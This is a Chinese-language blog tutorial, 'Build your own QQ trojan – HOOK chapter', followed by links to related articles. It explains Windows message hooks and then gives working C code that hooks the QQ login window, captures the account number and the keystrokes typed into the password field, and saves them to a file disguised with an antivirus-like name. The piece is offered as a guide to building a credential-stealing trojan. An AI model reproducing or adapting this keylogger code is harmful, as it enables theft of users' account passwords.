自己动手写QQ木马-----HOOK篇

首先让我们来回顾一下Windows的消息分类。

l        WM_XXX(除WM_COMMAND和WM_NOTIFY外)WINDOWS消息

硬件的输入消息或USER模块的窗口管理消息,任何派生自CWnd的类均可接收此消息。

l        WM_COMMAND命令消息

凡由UI对象产生的消息,可能来自菜单或加速键(wParam代表消息的来源),凡派生于CCmdTarget的类都由资格接收此消息。

l        WM_COMMAND 或 WM_NOTIFY 控件通知消息,为的是向其父窗口(通常是对话框)通知某种消息。

控件分 标准控件 如Edit、ComboBox、ListBox 使用WM_COMMAND

常用控件 如ImageList、ListCtrl、TreeCtrl等使用WM_NOTIFY

l        WM_SYSCOMMAND系统菜单的命令消息。就是在窗口的标题栏处点右键弹出的菜单。

下图是Windows消息处理机制图:

     通过上图,可以知道通过对某一线程设置消息钩子,就可以取得该线程消息泵分发出的消息。也就是说任何消息钩子截获的都是在消息泵处理之后的消息。下面列出常用的几个消息钩子类型:

l         WH_GETMESSAGE 监视使用PostMessage()入消息队列的消息

l         WH_CALLWNDPROC 监视系统发给(SendMessage())目标窗口过程处理之前的消息

l         WH_CALLWNDPROCRET 监视目标窗口过程处理之后的消息(SendMessage())

l         WH_KEYBOARD 监视键盘消息

l         WH_MOUSE 监视鼠标消息

要想对某个窗口的消息进行挂钩,可以使用SPY++找到该窗口,设置要捕获消息的类型,开始捕捉后,可以看到列出的许多消息。每条消息的第三项有“S”、“R”、“P”字符,他们分别代表的意思:

l         “S”该消息是使用SendMessage发送到消息队列的。它要等待返回。捕捉该消息需使用WH_CALLWNDPROC

l         “R”该消息是使用SendMessage发送到消息队列,并经过目标窗口的处理函数处理过的消息。捕捉该消息需使用WH_CALLWNDPROCRET

l         “P”该消息是使用PostMessage寄送到消息队列的消息,它不要求返回。使用

WH_GETMESSAGE捕捉。

因为对要取的QQ的号码和密码,则需要对两类控件窗口消息挂钩,一是ComboBox,另一个当然是Edit啦。

hhook1 = SetWindowsHookEx(WH_CALLWNDPROCRET, CallWndRetProc, g_hinstDll, dwThreadId);

WH_CALLWNDPROCRET截取WM_GETTEXT取的组合框中的内容,还截获WM_KILLFOCUS取得编辑框(非密码框)的内容。

hhook2 = SetWindowsHookEx(WH_GETMESSAGE, GetMsgProc, g_hinstDll, dwThreadId);

WH_GETMESSAGE截取WM_CHAR消息,获取键盘输入。

下面是这两个钩子消息处理函数的代码:

HINSTANCE g_hinstDll          = NULL;         // instance handle

HWND   g_hwndComboBox         = NULL;      //Handle of window to be monitored

HWND   g_hwndEdit                 = NULL;

TCHAR g_lpszEditDump[32] = {0};      //键盘输入Edit控件的内容

BOOL      g_fSingleEnter  = true;     //一次键盘输入POST两次WM_CHAR

//

#pragma data_seg("Shared")

HHOOK  g_hhook1                       = NULL;             // Hook handle for thread-specific hook

HHOOK  g_hhook2             = NULL;

const char g_classname1[]   = "ComboBox";

const char g_classname2[]   = "Edit";   //for class name you want to monitor

#define FILE_PATH_NAME      "c://ravdataq.dat"

#pragma data_seg()

/

static LRESULT WINAPI CallWndRetProc (int nCode, WPARAM wParam, LPARAM lParam)

{

TCHAR  lpszClassName[16] = {0};         //消息所属窗口类名字

int      nIndex            = 0;           //ComboBox所选内容的序列号

TCHAR  lpszComboBox[16] = {0};         //ComboxBox所选的字符串内容

TCHAR  lpszDump[64]    = {0};          //组合框写入文件的字符串

TCHAR  lpString[64]      = {0};          //编辑框写入文件的字符串

CWPRETSTRUCT *pmsg = (CWPRETSTRUCT*)lParam;

if(nCode != HC_ACTION || wParam != NULL)

{

return(CallNextHookEx(g_hhook1, nCode, wParam, lParam));

}

switch (pmsg->message)

{

case WM_GETTEXT:

GetClassName(pmsg->hwnd, lpszClassName, sizeof(lpszClassName));

//判断是否是指定的组合框

if((0 == lstrcmp(lpszClassName, g_classname1)) &&

(NULL == g_hwndComboBox))

{

g_hwndComboBox = pmsg->hwnd;

}

if(g_hwndComboBox == pmsg->hwnd)

{

//取得当前ComboBox选择的序号

nIndex =(int) SendMessage(g_hwndComboBox,

CB_GETCURSEL, 0, 0);

if(CB_ERR == nIndex)

{

//若没有选择则退出

return(CallNextHookEx(g_hhook1, nCode, wParam, lParam));

}

lstrcpy(lpszComboBox, LPCSTR(pmsg->lParam));

wsprintf(lpszDump, "  Index = %d content = %s ",

nIndex, lpszComboBox);

//写入文件

fzWriteFile(lpszDump);

}

break;

case WM_KILLFOCUS:

GetClassName(pmsg->hwnd, lpszClassName, sizeof(lpszClassName));

//判断是否是指定应用程序下的编辑框

if ((lstrcmp(lpszClassName, g_classname2) == 0) &&

(g_hwndEdit != NULL))

{

//判断是否是密码框

if(::GetWindowLong(g_hwndEdit, GWL_STYLE) &

ES_PASSWORD)

{

wsprintf(lpString, " Password = %s", (LPTSTR)g_lpszEditDump);

}

else

{

wsprintf(lpString, " Content = %s", (LPTSTR)g_lpszEditDump);                       }

//将存储起来的字符串写入文件

fzWriteFile(lpString);

//清除一些全局变量

g_hwndEdit = NULL;

ZeroMemory(g_lpszEditDump, 32);

}

break;

}

return(CallNextHookEx(g_hhook1, nCode, wParam, lParam));

}

/

static LRESULT WINAPI GetMsgProc(int nCode, WPARAM wParam, LPARAM lParam)

{

TCHAR  lpStr[2]         = {0};                  //存储按键字符

char   lpszClassName[16] = {0};

TCHAR   CR = 0x0D;                 //回车

LRESULT lResult = CallNextHookEx(g_hhook2, nCode, wParam, lParam);

PMSG pmsg = (PMSG)lParam;

if (nCode == HC_ACTION)

{

switch (pmsg->message)

{

case WM_CHAR:  //截获发向焦点窗口的键盘消息

GetClassName(pmsg->hwnd, lpszClassName, sizeof(lpszClassName));

//判断是否是指定应用程序下的编辑框

if ((lstrcmp(lpszClassName, g_classname2) == 0) &&

(g_hwndEdit == NULL))

{

g_hwndEdit = pmsg->hwnd;

}

if (g_hwndEdit == pmsg->hwnd)

{

if(g_fSingleEnter)

{

lpStr[0] = (TCHAR)(pmsg->wParam);

lpStr[1] = '/0';

lstrcat((LPTSTR)g_lpszEditDump, (LPTSTR)lpStr);

g_fSingleEnter = false;

}

else

{

g_fSingleEnter = true;

}

}

break;

}

}

return(lResult);

}

有关DLL的调试,请看本人发表的另一篇文章《DLL的调试》。

自己动手做QQ木马-----HOOK篇相关推荐

  1. 自己动手做QQ木马--文件绑定篇(转)

    自己动手做QQ木马--文件绑定篇(转) 代码如下:   //根据返回值判断是否继续执行本文件   bool CBindFile::Initiate()   {   int i = 0, k = 0;  ...

  2. 自己动手做QQ木马-----总序

    自己动手做QQ木马-----总序 声明: 本文只适合初学者,"帮助"他们从重复无趣的书本练习中解脱出来,真正的做一个他们感兴趣的东西.毕竟在枯燥无味的编程世界里,兴趣还是坚持向前的 ...

  3. 直播网站源码直播平台软件开发iOS动手做一个直播(原理篇)

    直播网站源码直播平台软件开发iOS动手做一个直播(原理篇) 上篇文章主要给出了代码,但是并没有详细说明直播相关的知识,这篇文章就说一下直播的相关理论知识.附上直播代码篇地址. ###推流 腾讯直播平台 ...

  4. 自己动手做QQ空间音乐的链接

    下面三种方法随便选择一个都可以制作: 一.用邮箱中转站制作方法:如何做空间音乐链接?1.先下载自己想要的歌曲.要制作时把歌曲名字重命名得简单一点点,比如数字1,这样链接才不会过长.2. 打开QQ邮箱, ...

  5. iOS动手做一个直播app开发(代码篇)

    iOS动手做一个直播app开发(代码篇) ###开篇 好久没写简书,因为好奇的我跑去学习直播了,今天就分享一下我的感慨. 目前为止直播还是比较热点的技术的,简书,git上有几篇阅读量和含金量都不错的文 ...

  6. 研究分析QQ木马的原理

    最近想研究一下木马原理及键盘记录. 键盘记录的网上有很多源代码. 但是普通的键盘记录勾子好像对QQ 的登录框好像没有任何的作用. QQ 的登录框对windows的键盘中断加密了. 加密原理参照:htt ...

  7. 自己动手做QQ-特洛伊

    原帖:http://blog.csdn.net/fengzi_zhu/archive/2003/03/25/14331.aspx 总序 声明: 本文只适合初学者,"帮助"他们从重复 ...

  8. 自己做QQ–后台搭建

    现在聊天的软件越来越多了,类似QQ,微信,陌陌,层出不穷,这篇文章小编就大家演示一下如何搭建如何自己动手做一个QQ,是不是很狂野炫爆叼炸天,哈哈哈,至少装装X是可以的.废话不多说,开工. 小编先罗列一 ...

  9. Esp8266学习之旅13 动手做个8266毕设小案例,smartConfig + MQTT协议轻松实现远程控制一盏LED。(附带demo)

    本系列博客学习由非官方人员 半颗心脏 潜心所力所写,不做开发板.仅仅做个人技术交流分享,不做任何商业用途.如有不对之处,请留言,本人及时更改. 序号 SDK版本 内容 链接 1 nonos2.0 搭建 ...

最新文章

  1. windows dos/cmd常用命令
  2. 表单美化-原生javascript和jQuery下拉列表(兼容IE6)
  3. 深圳6月23号活动《产品经理三分钟》报名开始啦!
  4. python读取excel送到网页_python怎么读取excel!怎么用python将excel数据写入网页中
  5. 爬虫之拉勾网职位获取
  6. weex android 性能,跨越适配性能那道坎,企鹅电竞Android weex优化
  7. “持续亏钱”的NIO Power反而让蔚来更具竞争优势
  8. retrofit2 不创建对象直接返回字符串
  9. 专家程序员要了解的mysql_从程序员的角度深入理解MySQL
  10. Atitit.ui控件---下拉菜单选择控件的实现select html
  11. matlab常用开头,在MATLAB编辑中,以“”开头的表示()。
  12. bjui ajax.js,B-JUI 前端管理框架
  13. iMac 2019一体机开箱体验,其内存是什么牌子,怎样换iMac内存?
  14. 平安新一贷怎么被拒了及原因是什么?你都知道吗?
  15. 2022-2028年全球与中国各向异性导电胶行业市场前瞻与投资战略规划分析
  16. JavaScript自定义求和函数
  17. mysql查询专业术语,英语术语MySQL查询
  18. 介绍几个常用的Chrome谷歌浏览器插件
  19. 逻辑回顾_回顾色彩设计
  20. JavaScript脚本的学习

热门文章

  1. CLAHE:Contrast Limited Adaptive histgram equalization
  2. Mac无法访问Windows共享文件解决办法
  3. 推荐几款 Redis 可视化工具(太厉害了)
  4. ERP中的云计算合同揭秘
  5. Vue.js入门教程(适合初学者)
  6. Win10设置java环境变量
  7. QQ超市模拟排配3D版 1.1 (XNA4.0)
  8. 社会化媒体营销大趋势-内容为王
  9. CCC3.0学习笔记_数字密钥分享
  10. 边缘检测生成(伪)手绘线稿风格的视频简易版教程